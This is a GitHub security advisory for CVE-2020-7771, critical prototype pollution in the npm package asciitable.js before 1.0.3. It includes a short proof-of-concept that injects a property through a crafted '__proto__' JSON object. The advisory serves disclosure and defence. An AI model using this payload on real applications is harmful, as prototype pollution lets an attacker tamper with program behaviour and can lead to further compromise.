~ / search / GHSA-5pxj-mhwj-x5gv

GHSA-5pxj-mhwj-x5gv

Prototype Pollution in asciitable.js

Source: GitHub Advisory Database (reviewed) Critical CVE-2020-7771

Packages

EcosystemPackageAffectedFixed in
npm asciitable.js < 1.0.3 1.0.3

Details

As written in the advisory (Markdown source, shown as plain text).

The package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function. ### PoC ```js var a = require("asciitable.js"); var b = JSON.parse('{"__proto__":{"test":123}}'); a({},b); console.log({}.test) ```

References

External links from the advisory. They lead to third-party sites.